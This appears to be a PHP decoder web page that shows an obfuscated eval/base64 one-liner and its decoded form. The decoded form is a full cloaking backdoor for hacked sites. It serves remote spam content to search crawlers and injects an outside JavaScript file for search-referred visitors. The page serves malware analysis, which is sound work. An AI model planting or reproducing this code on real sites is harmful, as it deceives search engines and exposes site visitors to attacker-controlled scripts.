Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$Ag0ci5Ol="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($Ag0ci5Ol("ID8+PD9wa..
Decoded Output download
?><?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
define('URI', $_SERVER['REQUEST_URI']);
define('host', base64_decode('aHR0cHM6Ly9qLnRvcGluZGlhbnNpdGVzLmNvbS8='));
define('MULU','down|game|ios|app|doc|slot|play|vivo|bet');
function isEngines($key){return stristr($key, 'Googlebot') !== false||stristr($key, 'Bingbot') !== false||stristr($key, 'Yahoo!') !== false;}
function isIncludes(){$re = 0;$temp = explode('|',MULU);foreach($temp as $v){if(stristr(URI,$v) !== false){$re = 1;}}return $re;}
function isRef($ref){return stristr($ref,'google') !== false||stristr($ref,'bing') !== false||stristr($ref,'yahoo') !== false;}
function getContents($url){
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$result = curl_exec($ch);
curl_close($ch);
if($result == NULL){
return file_get_contents($url);
}
return $result;
} else {
return file_get_contents($url);
}
}
$ref = $_SERVER["HTTP_REFERER"];
$key = $_SERVER["HTTP_USER_AGENT"];
$ym = $_SERVER['HTTP_HOST'];
if (isEngines($key)) {
header('Content-Type:text/html;charset=utf-8');
if(isIncludes()){
echo getContents(host."?xhost=".$ym.'&url='.URI.'&ua=Googlespider'.'&f=bd');
exit;
}else{
echo file_get_contents(host."/wailian.php");
}
} else {
if (isIncludes() && isRef($ref)) {
echo '<script type="text/javascript" src="https://facai.nuibijs.com/js/in.js"></script>';
exit;
}
}
?> <?php
Did this file decode correctly?
Original Code
$Ag0ci5Ol="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($Ag0ci5Ol("ID8+PD9waHAKICBzZXRfdGltZV9saW1pdCgwKTsKICBlcnJvcl9yZXBvcnRpbmcoMCk7CiAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7CiAgZGVmaW5lKCdVUkknLCAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7CiAgZGVmaW5lKCdob3N0JywgYmFzZTY0X2RlY29kZSgnYUhSMGNITTZMeTlxTG5SdmNHbHVaR2xoYm5OcGRHVnpMbU52YlM4PScpKTsKICBkZWZpbmUoJ01VTFUnLCdkb3dufGdhbWV8aW9zfGFwcHxkb2N8c2xvdHxwbGF5fHZpdm98YmV0Jyk7CiAgZnVuY3Rpb24gaXNFbmdpbmVzKCRrZXkpe3JldHVybiBzdHJpc3RyKCRrZXksICdHb29nbGVib3QnKSAhPT0gZmFsc2V8fHN0cmlzdHIoJGtleSwgJ0Jpbmdib3QnKSAhPT0gZmFsc2V8fHN0cmlzdHIoJGtleSwgJ1lhaG9vIScpICE9PSBmYWxzZTt9CiAgZnVuY3Rpb24gaXNJbmNsdWRlcygpeyRyZSA9IDA7JHRlbXAgPSBleHBsb2RlKCd8JyxNVUxVKTtmb3JlYWNoKCR0ZW1wIGFzICR2KXtpZihzdHJpc3RyKFVSSSwkdikgIT09IGZhbHNlKXskcmUgPSAxO319cmV0dXJuICRyZTt9CiAgZnVuY3Rpb24gaXNSZWYoJHJlZil7cmV0dXJuIHN0cmlzdHIoJHJlZiwnZ29vZ2xlJykgIT09IGZhbHNlfHxzdHJpc3RyKCRyZWYsJ2JpbmcnKSAhPT0gZmFsc2V8fHN0cmlzdHIoJHJlZiwneWFob28nKSAhPT0gZmFsc2U7fQogIGZ1bmN0aW9uIGdldENvbnRlbnRzKCR1cmwpewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHsKICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICJNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgR29vZ2xlYm90LzIuMTsgK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbCkiKTsKICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwogICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsKICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7CiAgICAgICRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICBpZigkcmVzdWx0ID09IE5VTEwpewogICAgICAgIHJldHVybiBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgICAgfQogICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0gZWxzZSB7CiAgICAgIHJldHVybiBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgIH0KICB9CiAgJHJlZiA9ICRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXTsKICAka2V5ID0gJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwogICR5bSA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKCiAgaWYgKGlzRW5naW5lcygka2V5KSkgewogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgnKTsKICAgIGlmKGlzSW5jbHVkZXMoKSl7CiAKICAgICAgIGVjaG8gZ2V0Q29udGVudHMoaG9zdC4iP3hob3N0PSIuJHltLicmdXJsPScuVVJJLicmdWE9R29vZ2xlc3BpZGVyJy4nJmY9YmQnKTsKICAgICAgZXhpdDsKICAgIH1lbHNlewogICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKGhvc3QuIi93YWlsaWFuLnBocCIpOwogICAgfQogIH0gZWxzZSB7ICAKICAgIGlmIChpc0luY2x1ZGVzKCkgJiYgaXNSZWYoJHJlZikpIHsgIAogICAgICBlY2hvICc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL2ZhY2FpLm51aWJpanMuY29tL2pzL2luLmpzIj48L3NjcmlwdD4nOyAgCiAgICAgIGV4aXQ7ICAKICAgIH0gIAogIH0gIAo/PiAgPD9waHAg"));
Function Calls
base64_decode | 1 |
Stats
MD5 | 73629122853502d7fe1e1c5a3f8e581a |
Eval Count | 1 |
Decode Time | 128 ms |